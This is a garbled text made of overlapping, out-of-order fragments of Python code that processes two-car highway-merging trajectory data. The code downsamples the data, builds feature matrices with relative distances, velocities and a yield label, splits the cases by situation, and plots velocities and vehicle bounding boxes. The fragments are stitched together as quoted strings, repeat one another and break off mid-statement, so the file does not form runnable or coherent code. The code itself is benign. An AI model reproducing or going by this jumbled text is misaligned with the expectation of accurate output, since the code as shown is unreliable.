car2_long_vel, c='r', label='merging", "temp_seg_data = temp_data[j:j+segment_length, :] # count1.append(temp_seg_data.shape[0]) # all_trajs_seg_2 = np.concatenate((all_trajs_seg_2,", "3 car1_long_vel 4 car1_lateral_pos 5 car1_lateral_displacement 6 car2_long_pos 7 car2_long_vel", "situation1_data, '%.4f') # count seq lengths # separate sequence segments", "#plt.show() #check_data() ############################################### def plot_vehicles(case_id, data_matrix): \"\"\" This function is", "13 car1_yaw 14 car2_yaw 15 situation label: (0: car1 yields", "ax.set_xlim(-680, -400) ax.set_ylim(-620, -600) ax.set_xticks([]) ax.set_yticks([]) fig.savefig('./vehicles_plot/'+str(case_id)+'_'+str(name)+'.png', bbox_inches='tight') data_matrix =", "divide_data(data_matrix, segment_length): \"\"\" This function serves to separate two situation", "print(all_trajs_2.shape) print(sum(count0)) print(sum(count1)) # np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:], '%.4f') # np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:],", "in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :] # count1.append(temp_seg_data.shape[0]) #", "[[-584,-805],[-445,-805]] y = [[-610,-618],[-610,-622]] for l in range(len(x)): ax.plot(x[l], y[l],", "0.01s data) \"\"\" matrix = np.zeros((1, data.shape[1])) for i in", "* (car2[j,1] - car2[j-1,1]) current_data_matrix[j,8] = car2[j,2] current_data_matrix[j,9] = car2[j,2]", "matrix[1:,:] def data_process(): \"\"\" This function serves to concatenate the", "patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), # (x,y) 4.0, # width 1.8, #", "# np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:], '%.4f') np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0), '%d') np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1), '%d')", "one array. Note: car1 -- mainlane car; car2 -- merging", "car2[j,2] current_data_matrix[j,9] = car2[j,2] - car2[j-1,2] current_data_matrix[j,10] = current_data_matrix[j,7] -", "all_trajs_seg_2 = np.zeros((1, data_matrix.shape[1])) all_trajs_1 = np.zeros((1, data_matrix.shape[1])) all_trajs_2 =", "range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :] # count0.append(temp_seg_data.shape[0]) # all_trajs_seg_1", "np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ################################################################## def divide_data(data_matrix, segment_length): \"\"\" This function serves", "\"\"\" current_case_data = data_matrix[np.where(data_matrix[:,0]==case_id)] T = current_case_data.shape[0] fig = plt.figure(figsize=(20,2))", "- car1[j-1,1]) current_data_matrix[j,4] = car1[j,2] current_data_matrix[j,5] = car1[j,2] - car1[j-1,2]", "car1_acc = 10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc = 10*(temp_data[1:,7]-temp_data[:-1,7]) # plt.figure(1) # plt.plot(range(T-1),", "car2[j,1] current_data_matrix[j,7] = 10 * (car2[j,1] - car2[j-1,1]) current_data_matrix[j,8] =", "car1[j,2] current_data_matrix[j,5] = car1[j,2] - car1[j-1,2] current_data_matrix[j,6] = car2[j,1] current_data_matrix[j,7]", "# if temp_data[0,-1] == 0: # for j in range(temp_data.shape[0]-segment_length+1):", "all_trajs_2 = np.concatenate((all_trajs_2, temp_data),axis=0) print(all_trajs_1.shape) print(all_trajs_2.shape) print(sum(count0)) print(sum(count1)) # np.savetxt('./all_trajs_seg_1.txt',", "current_case_data = data_matrix[np.where(data_matrix[:,0]==case_id)] T = current_case_data.shape[0] fig = plt.figure(figsize=(20,2)) for", "name = str(i) ax = fig.add_subplot(111, aspect='equal') ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0,", "== 2: data = np.loadtxt('./car2/'+str(file_name)) return data def get_low_freq_data(data): \"\"\"", "yields car1) \"\"\" data_matrix = np.zeros((1,16)) for i in range(128):", "np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0) # else: # for j in range(temp_data.shape[0]-segment_length+1): #", "car_flag == 2: data = np.loadtxt('./car2/'+str(file_name)) return data def get_low_freq_data(data):", "temp_data[j:j+segment_length, :] # count0.append(temp_seg_data.shape[0]) # all_trajs_seg_1 = np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0) #", "car1[-1,1] > car2[-1,1]: current_data_matrix[j,15] = 1 else: current_data_matrix[j,15] = 0", "current_data_matrix[j,8] = car2[j,2] current_data_matrix[j,9] = car2[j,2] - car2[j-1,2] current_data_matrix[j,10] =", "(merge - mainlane) 13 car1_yaw 14 car2_yaw 15 situation label:", "# plt.legend() plt.figure(2,figsize=(14,4)) plt.plot(range(T), car1_long_vel, c='b', label='main lane car velocity')", "/ float(T), facecolor='red', edgecolor='black', linewidth=0.5 ) ) ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221),", "T = current_case_data.shape[0] fig = plt.figure(figsize=(20,2)) for i in range(T):", "segment_length): \"\"\" This function serves to separate two situation cases.", "car1[j-1,2] current_data_matrix[j,6] = car2[j,1] current_data_matrix[j,7] = 10 * (car2[j,1] -", "np.array(count1), '%d') #data_process() #data_matrix = np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix, segment_length=30) ############################################### def", "mainlane) 13 car1_yaw 14 car2_yaw 15 situation label: (0: car1", "-400) ax.set_ylim(-620, -600) ax.set_xticks([]) ax.set_yticks([]) fig.savefig('./vehicles_plot/'+str(case_id)+'_'+str(name)+'.png', bbox_inches='tight') data_matrix = np.loadtxt('./data_matrix.txt')", "[], [] # for i in range(128): # print('i =", "plt.plot(range(T-1), car1_acc, c='b', label='main lane car acceleration') # plt.plot(range(T-1), car2_acc,", "car1_acc, c='b', label='main lane car acceleration') # plt.plot(range(T-1), car2_acc, c='r',", "car acceleration') # plt.plot(range(T-1), car2_acc, c='r', label='merging car acceleration') #", "car2_long_vel, c='r', label='merging car velocity') plt.legend() plt.savefig('./long_vel_69.eps', bbox_inches='tight') #plt.show() #check_data()", "10 * (car1[j,1] - car1[j-1,1]) current_data_matrix[j,4] = car1[j,2] current_data_matrix[j,5] =", "\"\"\" This function serves to separate two situation cases. \"\"\"", ") ax.add_patch( patches.Rectangle( (current_case_data[i,6]-2.0, current_case_data[i,8]-0.9), # (x,y) 4.0, # width", "count seq lengths # separate sequence segments # all_trajs_seg_1 =", "mainlane) 12 relative_long_distance (merge - mainlane) 13 car1_yaw 14 car2_yaw", "int(car1.shape[0]) #print(T) current_data_matrix = np.zeros((T,16)) for j in range(1, T):", "l in range(len(x)): ax.plot(x[l], y[l], color='k',linewidth=1) ax.set_xlim(-680, -400) ax.set_ylim(-620, -600)", "np.concatenate((all_trajs_1, temp_data),axis=0) elif temp_data[0,-1] == 1: count1.append(temp_data.shape[0]) all_trajs_2 = np.concatenate((all_trajs_2,", "temp_data[j:j+segment_length, :] # count1.append(temp_seg_data.shape[0]) # all_trajs_seg_2 = np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0) for", "count1 = [], [] # for i in range(128): #", "car2_long_vel = temp_data[:,7] car1_acc = 10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc = 10*(temp_data[1:,7]-temp_data[:-1,7]) #", "temp_seg_data = temp_data[j:j+segment_length, :] # count0.append(temp_seg_data.shape[0]) # all_trajs_seg_1 = np.concatenate((all_trajs_seg_1,", "(from 0.01s data) \"\"\" matrix = np.zeros((1, data.shape[1])) for i", "= '0'+str(i) elif i>=100: name = str(i) ax = fig.add_subplot(111,", "all_trajs_1 = np.concatenate((all_trajs_1, temp_data),axis=0) elif temp_data[0,-1] == 1: count1.append(temp_data.shape[0]) all_trajs_2", "1 else: current_data_matrix[j,15] = 0 current_data_matrix = current_data_matrix[1:, :] data_matrix", "= temp_data[j:j+segment_length, :] # count1.append(temp_seg_data.shape[0]) # all_trajs_seg_2 = np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0)", "# all_trajs_seg_2 = np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0) for i in range(128): print('i", "ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), # (x,y) 4.0, # width 1.8,", "if car1[-1,1] > car2[-1,1]: current_data_matrix[j,15] = 1 else: current_data_matrix[j,15] =", "1)) car2 = get_low_freq_data(load_data(file_name_2, 2)) T = int(car1.shape[0]) #print(T) current_data_matrix", "= temp_data[:,3] car2_long_vel = temp_data[:,7] car1_acc = 10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc =", "label='main lane car velocity') plt.plot(range(T), car2_long_vel, c='r', label='merging car velocity')", "current_data_matrix[j,13] = car1[j,3] current_data_matrix[j,14] = car2[j,3] if car1[-1,1] > car2[-1,1]:", "ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1) x = [[-584,-805],[-445,-805]] y = [[-610,-618],[-610,-622]] for l", "#print(T) current_data_matrix = np.zeros((T,16)) for j in range(1, T): current_data_matrix[j,0]", "'+str(i)) temp_data = data_matrix[np.where(data_matrix[:,0] == i)] if temp_data[0,-1] == 0:", "ax.plot(range(-805,-584),-610*np.ones(221), color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1) x = [[-584,-805],[-445,-805]] y = [[-610,-618],[-610,-622]]", "lengths # separate sequence segments # all_trajs_seg_1 = np.zeros((1, data_matrix.shape[1]))", "array. Note: car1 -- mainlane car; car2 -- merging car;", "all_trajs_seg_2 = np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0) for i in range(128): print('i =", "plt.savefig('./long_vel_69.eps', bbox_inches='tight') #plt.show() #check_data() ############################################### def plot_vehicles(case_id, data_matrix): \"\"\" This", "################################################################## def divide_data(data_matrix, segment_length): \"\"\" This function serves to separate", "if temp_data[0,-1] == 0: # for j in range(temp_data.shape[0]-segment_length+1): #", "color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1) x = [[-584,-805],[-445,-805]] y = [[-610,-618],[-610,-622]] for", "lane car acceleration') # plt.plot(range(T-1), car2_acc, c='r', label='merging car acceleration')", "<reponame>QinganZhao/ML-based-driving-motion-prediction import numpy as np import matplotlib.pyplot as plt import", "1 frame_ID 2 car1_long_pos 3 car1_long_vel 4 car1_lateral_pos 5 car1_lateral_displacement", "current_data_matrix[j,3] = 10 * (car1[j,1] - car1[j-1,1]) current_data_matrix[j,4] = car1[j,2]", "np.zeros((1, data.shape[1])) for i in range(data.shape[0]): if i % 10", "== i)] # if temp_data[0,-1] == 0: # for j", "check_data(): data = np.loadtxt('../simulation_data/data_matrix.txt') temp_data = data[np.where(data[:,0]==69)] T = temp_data.shape[0]", "c='r', label='merging car velocity') plt.legend() plt.savefig('./long_vel_69.eps', bbox_inches='tight') #plt.show() #check_data() ###############################################", "car velocity') plt.legend() plt.savefig('./long_vel_69.eps', bbox_inches='tight') #plt.show() #check_data() ############################################### def plot_vehicles(case_id,", "(car1[j,1] - car1[j-1,1]) current_data_matrix[j,4] = car1[j,2] current_data_matrix[j,5] = car1[j,2] -", "if temp_data[0,-1] == 0: count0.append(temp_data.shape[0]) all_trajs_1 = np.concatenate((all_trajs_1, temp_data),axis=0) elif", "# np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:], '%.4f') # np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:], '%.4f') np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0),", "11 relative_lateral_distance (merge - mainlane) 12 relative_long_distance (merge - mainlane)", "all_trajs_seg_1 = np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0) # else: # for j in", "np.array(count0), '%d') np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1), '%d') #data_process() #data_matrix = np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix,", "current_data_matrix[j,3] current_data_matrix[j,11] = current_data_matrix[j,8] - current_data_matrix[j,4] current_data_matrix[j,12] = current_data_matrix[j,6] -", "10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc = 10*(temp_data[1:,7]-temp_data[:-1,7]) # plt.figure(1) # plt.plot(range(T-1), car1_acc, c='b',", "# temp_seg_data = temp_data[j:j+segment_length, :] # count1.append(temp_seg_data.shape[0]) # all_trajs_seg_2 =", "current_data_matrix = current_data_matrix[1:, :] data_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f')", "- car2[j-1,2] current_data_matrix[j,10] = current_data_matrix[j,7] - current_data_matrix[j,3] current_data_matrix[j,11] = current_data_matrix[j,8]", "data_matrix.shape[1])) all_trajs_2 = np.zeros((1, data_matrix.shape[1])) count0, count1 = [], []", "############################################### def check_data(): data = np.loadtxt('../simulation_data/data_matrix.txt') temp_data = data[np.where(data[:,0]==69)] T", "i in range(128): file_name_1 = 'data_'+str(i)+'_1.txt' file_name_2 = 'data_'+str(i)+'_2.txt' car1", "np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0), '%d') np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1), '%d') #data_process() #data_matrix = np.loadtxt('./data_matrix.txt')", "2 car1_long_pos 3 car1_long_vel 4 car1_lateral_pos 5 car1_lateral_displacement 6 car2_long_pos", "= int(car1.shape[0]) #print(T) current_data_matrix = np.zeros((T,16)) for j in range(1,", "velocity') plt.plot(range(T), car2_long_vel, c='r', label='merging car velocity') plt.legend() plt.savefig('./long_vel_69.eps', bbox_inches='tight')", "matrix with 0.1s per time step data. (from 0.01s data)", "facecolor='blue', edgecolor='black', linewidth=0.5 ) ) ax.add_patch( patches.Rectangle( (current_case_data[i,6]-2.0, current_case_data[i,8]-0.9), #", "def divide_data(data_matrix, segment_length): \"\"\" This function serves to separate two", "alpha = 0.3 + 0.7*(T-i) / float(T), facecolor='red', edgecolor='black', linewidth=0.5", "car; car2 -- merging car; OutFormat: 0 case_ID 1 frame_ID", "= [[-584,-805],[-445,-805]] y = [[-610,-618],[-610,-622]] for l in range(len(x)): ax.plot(x[l],", "0.7*(T-i) / float(T), facecolor='blue', edgecolor='black', linewidth=0.5 ) ) ax.add_patch( patches.Rectangle(", "= current_data_matrix[j,6] - current_data_matrix[j,2] current_data_matrix[j,13] = car1[j,3] current_data_matrix[j,14] = car2[j,3]", "# separate sequence segments # all_trajs_seg_1 = np.zeros((1, data_matrix.shape[1])) #", "else: # for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length,", "np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0) for i in range(128): print('i = '+str(i)) temp_data", "plt.figure(2,figsize=(14,4)) plt.plot(range(T), car1_long_vel, c='b', label='main lane car velocity') plt.plot(range(T), car2_long_vel,", "car2_long_pos 7 car2_long_vel 8 car2_lateral_pos 9 car2_lateral_displacement 10 relative_long_vel (merge", "car1_long_vel 4 car1_lateral_pos 5 car1_lateral_displacement 6 car2_long_pos 7 car2_long_vel 8", "matrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:] def data_process(): \"\"\" This", "= np.zeros((1, data_matrix.shape[1])) # all_trajs_seg_2 = np.zeros((1, data_matrix.shape[1])) all_trajs_1 =", "for i in range(128): print('i = '+str(i)) temp_data = data_matrix[np.where(data_matrix[:,0]", "name='00'+str(i) elif i>=10 and i<100: name = '0'+str(i) elif i>=100:", "1: car2 yields car1) \"\"\" data_matrix = np.zeros((1,16)) for i", "T): current_data_matrix[j,0] = i current_data_matrix[j,1] = j current_data_matrix[j,2] = car1[j,1]", "# for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :]", "data_matrix[np.where(data_matrix[:,-1] == 0)] situation1_data = data_matrix[np.where(data_matrix[:,-1] == 1)] np.savetxt('./all_trajs_1.txt', situation0_data,", "mainlane car; car2 -- merging car; OutFormat: 0 case_ID 1", "count1.append(temp_seg_data.shape[0]) # all_trajs_seg_2 = np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0) for i in range(128):", "aspect='equal') ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), # (x,y) 4.0, # width", "two cars into one array. Note: car1 -- mainlane car;", "6 car2_long_pos 7 car2_long_vel 8 car2_lateral_pos 9 car2_lateral_displacement 10 relative_long_vel", "= car2[j,2] current_data_matrix[j,9] = car2[j,2] - car2[j-1,2] current_data_matrix[j,10] = current_data_matrix[j,7]", "situation cases. \"\"\" situation0_data = data_matrix[np.where(data_matrix[:,-1] == 0)] situation1_data =", "= 0.3 + 0.7*(T-i) / float(T), facecolor='red', edgecolor='black', linewidth=0.5 )", "print(sum(count0)) print(sum(count1)) # np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:], '%.4f') # np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:], '%.4f')", "data_matrix[np.where(data_matrix[:,0] == i)] # if temp_data[0,-1] == 0: # for", "'%.4f') # count seq lengths # separate sequence segments #", "current_data_matrix[j,14] = car2[j,3] if car1[-1,1] > car2[-1,1]: current_data_matrix[j,15] = 1", "== 0)] situation1_data = data_matrix[np.where(data_matrix[:,-1] == 1)] np.savetxt('./all_trajs_1.txt', situation0_data, '%.4f')", "- current_data_matrix[j,3] current_data_matrix[j,11] = current_data_matrix[j,8] - current_data_matrix[j,4] current_data_matrix[j,12] = current_data_matrix[j,6]", "8 car2_lateral_pos 9 car2_lateral_displacement 10 relative_long_vel (merge - mainlane) 11", "plot_vehicles(case_id, data_matrix): \"\"\" This function is to plot vehicle trajectories", "plt.figure(figsize=(20,2)) for i in range(T): if i<10: name='00'+str(i) elif i>=10", "data_matrix.shape[1])) count0, count1 = [], [] # for i in", "range(1, T): current_data_matrix[j,0] = i current_data_matrix[j,1] = j current_data_matrix[j,2] =", "car2[j,2] - car2[j-1,2] current_data_matrix[j,10] = current_data_matrix[j,7] - current_data_matrix[j,3] current_data_matrix[j,11] =", "current_data_matrix[j,6] = car2[j,1] current_data_matrix[j,7] = 10 * (car2[j,1] - car2[j-1,1])", "car2 yields car1) \"\"\" data_matrix = np.zeros((1,16)) for i in", "np.loadtxt('../simulation_data/data_matrix.txt') temp_data = data[np.where(data[:,0]==69)] T = temp_data.shape[0] car1_long_vel = temp_data[:,3]", "range(T): if i<10: name='00'+str(i) elif i>=10 and i<100: name =", "= 'data_'+str(i)+'_1.txt' file_name_2 = 'data_'+str(i)+'_2.txt' car1 = get_low_freq_data(load_data(file_name_1, 1)) car2", "10 * (car2[j,1] - car2[j-1,1]) current_data_matrix[j,8] = car2[j,2] current_data_matrix[j,9] =", "get_low_freq_data(load_data(file_name_2, 2)) T = int(car1.shape[0]) #print(T) current_data_matrix = np.zeros((T,16)) for", "to concatenate the information of two cars into one array.", "'data_'+str(i)+'_2.txt' car1 = get_low_freq_data(load_data(file_name_1, 1)) car2 = get_low_freq_data(load_data(file_name_2, 2)) T", "range(128): print('i = '+str(i)) temp_data = data_matrix[np.where(data_matrix[:,0] == i)] if", "else: current_data_matrix[j,15] = 0 current_data_matrix = current_data_matrix[1:, :] data_matrix =", "############################################### def plot_vehicles(case_id, data_matrix): \"\"\" This function is to plot", "fig.add_subplot(111, aspect='equal') ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), # (x,y) 4.0, #", "current_data_matrix[j,7] = 10 * (car2[j,1] - car2[j-1,1]) current_data_matrix[j,8] = car2[j,2]", "(0: car1 yields car2; 1: car2 yields car1) \"\"\" data_matrix", "'+str(i)) # temp_data = data_matrix[np.where(data_matrix[:,0] == i)] # if temp_data[0,-1]", "def plot_vehicles(case_id, data_matrix): \"\"\" This function is to plot vehicle", "% 10 == 0: matrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:]", "2)) T = int(car1.shape[0]) #print(T) current_data_matrix = np.zeros((T,16)) for j", "ax.set_ylim(-620, -600) ax.set_xticks([]) ax.set_yticks([]) fig.savefig('./vehicles_plot/'+str(case_id)+'_'+str(name)+'.png', bbox_inches='tight') data_matrix = np.loadtxt('./data_matrix.txt') plot_vehicles(case_id=8,", "seq lengths # separate sequence segments # all_trajs_seg_1 = np.zeros((1,", "patches def load_data(file_name, car_flag): if car_flag == 1: data =", "= 10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc = 10*(temp_data[1:,7]-temp_data[:-1,7]) # plt.figure(1) # plt.plot(range(T-1), car1_acc,", "car2 = get_low_freq_data(load_data(file_name_2, 2)) T = int(car1.shape[0]) #print(T) current_data_matrix =", "= 0 current_data_matrix = current_data_matrix[1:, :] data_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0)", "- current_data_matrix[j,2] current_data_matrix[j,13] = car1[j,3] current_data_matrix[j,14] = car2[j,3] if car1[-1,1]", "= temp_data[:,7] car1_acc = 10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc = 10*(temp_data[1:,7]-temp_data[:-1,7]) # plt.figure(1)", "str(i) ax = fig.add_subplot(111, aspect='equal') ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), #", "= np.concatenate((all_trajs_1, temp_data),axis=0) elif temp_data[0,-1] == 1: count1.append(temp_data.shape[0]) all_trajs_2 =", "= np.zeros((1, data_matrix.shape[1])) count0, count1 = [], [] # for", "= car1[j,3] current_data_matrix[j,14] = car2[j,3] if car1[-1,1] > car2[-1,1]: current_data_matrix[j,15]", "= np.zeros((1, data.shape[1])) for i in range(data.shape[0]): if i %", "'%d') #data_process() #data_matrix = np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix, segment_length=30) ############################################### def check_data():", "0: count0.append(temp_data.shape[0]) all_trajs_1 = np.concatenate((all_trajs_1, temp_data),axis=0) elif temp_data[0,-1] == 1:", "for i in range(128): # print('i = '+str(i)) # temp_data", "with bounding boxes. \"\"\" current_case_data = data_matrix[np.where(data_matrix[:,0]==case_id)] T = current_case_data.shape[0]", ":] # count1.append(temp_seg_data.shape[0]) # all_trajs_seg_2 = np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0) for i", "- mainlane) 11 relative_lateral_distance (merge - mainlane) 12 relative_long_distance (merge", "all_trajs_1 = np.zeros((1, data_matrix.shape[1])) all_trajs_2 = np.zeros((1, data_matrix.shape[1])) count0, count1", "= np.zeros((1,16)) for i in range(128): file_name_1 = 'data_'+str(i)+'_1.txt' file_name_2", "4.0, # width 1.8, # height alpha = 0.3 +", "== 1: count1.append(temp_data.shape[0]) all_trajs_2 = np.concatenate((all_trajs_2, temp_data),axis=0) print(all_trajs_1.shape) print(all_trajs_2.shape) print(sum(count0))", "= car1[j,2] current_data_matrix[j,5] = car1[j,2] - car1[j-1,2] current_data_matrix[j,6] = car2[j,1]", "matplotlib.pyplot as plt import matplotlib as mpl import matplotlib.patches as", "current_case_data[i,8]-0.9), # (x,y) 4.0, # width 1.8, # height alpha", "def check_data(): data = np.loadtxt('../simulation_data/data_matrix.txt') temp_data = data[np.where(data[:,0]==69)] T =", "> car2[-1,1]: current_data_matrix[j,15] = 1 else: current_data_matrix[j,15] = 0 current_data_matrix", "is to plot vehicle trajectories with bounding boxes. \"\"\" current_case_data", "data_matrix = np.zeros((1,16)) for i in range(128): file_name_1 = 'data_'+str(i)+'_1.txt'", "in range(1, T): current_data_matrix[j,0] = i current_data_matrix[j,1] = j current_data_matrix[j,2]", "0 current_data_matrix = current_data_matrix[1:, :] data_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt',", "information of two cars into one array. Note: car1 --", "= i current_data_matrix[j,1] = j current_data_matrix[j,2] = car1[j,1] current_data_matrix[j,3] =", "# plt.plot(range(T-1), car1_acc, c='b', label='main lane car acceleration') # plt.plot(range(T-1),", "np.savetxt('./all_trajs_2.txt', situation1_data, '%.4f') # count seq lengths # separate sequence", "\"\"\" matrix = np.zeros((1, data.shape[1])) for i in range(data.shape[0]): if", "= data_matrix[np.where(data_matrix[:,-1] == 0)] situation1_data = data_matrix[np.where(data_matrix[:,-1] == 1)] np.savetxt('./all_trajs_1.txt',", "# width 1.8, # height alpha = 0.3 + 0.7*(T-i)", "plt.figure(1) # plt.plot(range(T-1), car1_acc, c='b', label='main lane car acceleration') #", "data = np.loadtxt('./car1/'+str(file_name)) elif car_flag == 2: data = np.loadtxt('./car2/'+str(file_name))", "relative_lateral_distance (merge - mainlane) 12 relative_long_distance (merge - mainlane) 13", "np.zeros((1, data_matrix.shape[1])) count0, count1 = [], [] # for i", "in range(128): file_name_1 = 'data_'+str(i)+'_1.txt' file_name_2 = 'data_'+str(i)+'_2.txt' car1 =", "as patches def load_data(file_name, car_flag): if car_flag == 1: data", "14 car2_yaw 15 situation label: (0: car1 yields car2; 1:", "current_data_matrix[j,9] = car2[j,2] - car2[j-1,2] current_data_matrix[j,10] = current_data_matrix[j,7] - current_data_matrix[j,3]", "= np.loadtxt('../simulation_data/data_matrix.txt') temp_data = data[np.where(data[:,0]==69)] T = temp_data.shape[0] car1_long_vel =", "get_low_freq_data(load_data(file_name_1, 1)) car2 = get_low_freq_data(load_data(file_name_2, 2)) T = int(car1.shape[0]) #print(T)", "# for i in range(128): # print('i = '+str(i)) #", "\"\"\" This function serves to concatenate the information of two", "linewidth=0.5 ) ) ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221), color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1) x", "c='b', label='main lane car acceleration') # plt.plot(range(T-1), car2_acc, c='r', label='merging", "current_data_matrix[j,12] = current_data_matrix[j,6] - current_data_matrix[j,2] current_data_matrix[j,13] = car1[j,3] current_data_matrix[j,14] =", "car1_long_vel = temp_data[:,3] car2_long_vel = temp_data[:,7] car1_acc = 10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc", "np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ################################################################## def divide_data(data_matrix, segment_length): \"\"\" This", "temp_data[:,3] car2_long_vel = temp_data[:,7] car1_acc = 10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc = 10*(temp_data[1:,7]-temp_data[:-1,7])", "print(sum(count1)) # np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:], '%.4f') # np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:], '%.4f') np.savetxt('./all_trajs_seq_length_1.txt',", "car2_yaw 15 situation label: (0: car1 yields car2; 1: car2", "[[-610,-618],[-610,-622]] for l in range(len(x)): ax.plot(x[l], y[l], color='k',linewidth=1) ax.set_xlim(-680, -400)", "c='r', label='merging car acceleration') # plt.legend() plt.figure(2,figsize=(14,4)) plt.plot(range(T), car1_long_vel, c='b',", "j current_data_matrix[j,2] = car1[j,1] current_data_matrix[j,3] = 10 * (car1[j,1] -", "situation1_data = data_matrix[np.where(data_matrix[:,-1] == 1)] np.savetxt('./all_trajs_1.txt', situation0_data, '%.4f') np.savetxt('./all_trajs_2.txt', situation1_data,", "* (car1[j,1] - car1[j-1,1]) current_data_matrix[j,4] = car1[j,2] current_data_matrix[j,5] = car1[j,2]", "sequence segments # all_trajs_seg_1 = np.zeros((1, data_matrix.shape[1])) # all_trajs_seg_2 =", "serves to separate two situation cases. \"\"\" situation0_data = data_matrix[np.where(data_matrix[:,-1]", "current_data_matrix[j,2] = car1[j,1] current_data_matrix[j,3] = 10 * (car1[j,1] - car1[j-1,1])", "bbox_inches='tight') #plt.show() #check_data() ############################################### def plot_vehicles(case_id, data_matrix): \"\"\" This function", "= '+str(i)) temp_data = data_matrix[np.where(data_matrix[:,0] == i)] if temp_data[0,-1] ==", "step data. (from 0.01s data) \"\"\" matrix = np.zeros((1, data.shape[1]))", "2: data = np.loadtxt('./car2/'+str(file_name)) return data def get_low_freq_data(data): \"\"\" Return", "np.zeros((1, data_matrix.shape[1])) # all_trajs_seg_2 = np.zeros((1, data_matrix.shape[1])) all_trajs_1 = np.zeros((1,", "car2_lateral_displacement 10 relative_long_vel (merge - mainlane) 11 relative_lateral_distance (merge -", "j in range(1, T): current_data_matrix[j,0] = i current_data_matrix[j,1] = j", "i % 10 == 0: matrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return", "(car2[j,1] - car2[j-1,1]) current_data_matrix[j,8] = car2[j,2] current_data_matrix[j,9] = car2[j,2] -", "i>=10 and i<100: name = '0'+str(i) elif i>=100: name =", "current_data_matrix[j,4] = car1[j,2] current_data_matrix[j,5] = car1[j,2] - car1[j-1,2] current_data_matrix[j,6] =", "separate two situation cases. \"\"\" situation0_data = data_matrix[np.where(data_matrix[:,-1] == 0)]", "plt import matplotlib as mpl import matplotlib.patches as patches def", "'%d') np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1), '%d') #data_process() #data_matrix = np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix, segment_length=30)", "count0.append(temp_seg_data.shape[0]) # all_trajs_seg_1 = np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0) # else: # for", "print('i = '+str(i)) temp_data = data_matrix[np.where(data_matrix[:,0] == i)] if temp_data[0,-1]", "= data_matrix[np.where(data_matrix[:,0]==case_id)] T = current_case_data.shape[0] fig = plt.figure(figsize=(20,2)) for i", "= current_data_matrix[j,7] - current_data_matrix[j,3] current_data_matrix[j,11] = current_data_matrix[j,8] - current_data_matrix[j,4] current_data_matrix[j,12]", ") ) ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221), 